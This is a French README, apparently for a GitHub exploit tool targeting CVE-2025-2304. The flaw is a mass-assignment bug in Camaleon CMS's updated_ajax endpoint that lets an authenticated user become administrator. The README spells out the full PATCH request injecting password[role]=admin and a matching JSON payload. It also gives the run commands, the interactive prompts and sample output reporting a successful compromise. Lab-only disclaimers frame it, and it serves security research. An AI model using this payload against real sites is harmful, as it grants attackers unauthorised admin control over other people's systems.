
Script Python exploit pour CVE-2025-2304, une escalade de privilèges par affectation de masse dans Camaleon CMS. Automatise l'analyse du jeton CSRF et l'injection de paramètre de rôle pour élever des utilisateurs authentifiés au statut d'administrateur dans des environnements de laboratoire contrôlés.
CVE-2025-2304 est une vulnérabilité de Mass Assignment dans Camaleon CMS (versions < 2.9.1) qui permet à un utilisateur authentifié d'élever ses privilèges au rang d'administrateur en manipulant le paramètre role dans les demandes de changement de mot de passe.
Camaleon CMS utilise Ruby on Rails et dans la version 2.9.0 présente une vulnérabilité de Mass Assignment dans le contrôleur UsersController#updated_ajax. Le contrôleur utilise .permit! sans restrictions, ce qui permet à tout paramètre envoyé dans la requête d'être directement assigné au modèle utilisateur.
POST /admin/users/{user_id}/updated_ajaxpassword[role] envoyé dans l'espace de noms passwordparams.require(:password) puis applique .permit!, ce qui ne filtre aucun paramètre"admin" dans le champ role de l'utilisateurPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
Le paramètre password[role] est traité par User.update(permitted_params) et directement assigné à l'enregistrement utilisateur en raison de .permit!, ce qui élève les privilèges de user à admin.
# Python 3.6+
python3 --version
# Bibliothèques nécessaires
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
Le script demandera interactivement :
http(s)://domain:port_cms_session (obtenue après connexion)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] URL de base du serveur (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] ID utilisateur de l'utilisateur attaquant (ex: 3) : 5
[?] Cookie de session (_cms_session=VALUE) : _cms_session=abc123def456
Quand j'ai trouvé cette vulnérabilité, mon premier réflexe a été de la tester manuellement via Burp Suite — et ça a fonctionné. Mais je voulais aller plus loin et transformer ce processus manuel en quelque chose de reproductible et portable, alors j'ai écrit ce script. Au-delà de l'exploitation du bug, la construction de ce script m'a donné l'occasion de travailler sur des aspects que je trouve vraiment intéressants :
Je n'essaie pas de remplacer Burp ou Caido. Ces outils sont irremplaçables pour les tests interactifs. C'est simplement ce qui arrive quand je préfère écrire un script plutôt que de me répéter.
CE SCRIPT EST EXCLUSIVEMENT DESTINÉ À :
- Des environnements de laboratoire contrôlés
- Des systèmes vous appartenant ou pour lesquels vous avez une autorisation explicite de test
- Des fins éducatives et de recherche autorisée
STRICTEMENT INTERDIT :
- Utilisation sur des systèmes sans autorisation
- Application avec une intention malveillante
- Violation des lois sur la protection des données
- Compromission de la sécurité de tiers
L'auteur n'est pas responsable de l'utilisation abusive de cet outil.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] Jeton CSRF obtenu : abc123def456...
[✔] EXPLOIT RÉUSSI : Le serveur a confirmé la mise à jour.
[✔] Statut : COMPROMIS
L'utilisateur 5 devrait maintenant avoir le rôle 'admin'.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
Le code est structuré de manière modulaire pour faciliter :
.permit!Les contributions sont les bienvenues si elles :
Rappel : Ce projet a un but exclusivement éducatif et de recherche autorisée.
Dernière mise à jour : Avril 2025 | Par Analyste de Sécurité (Environnement de Laboratoire)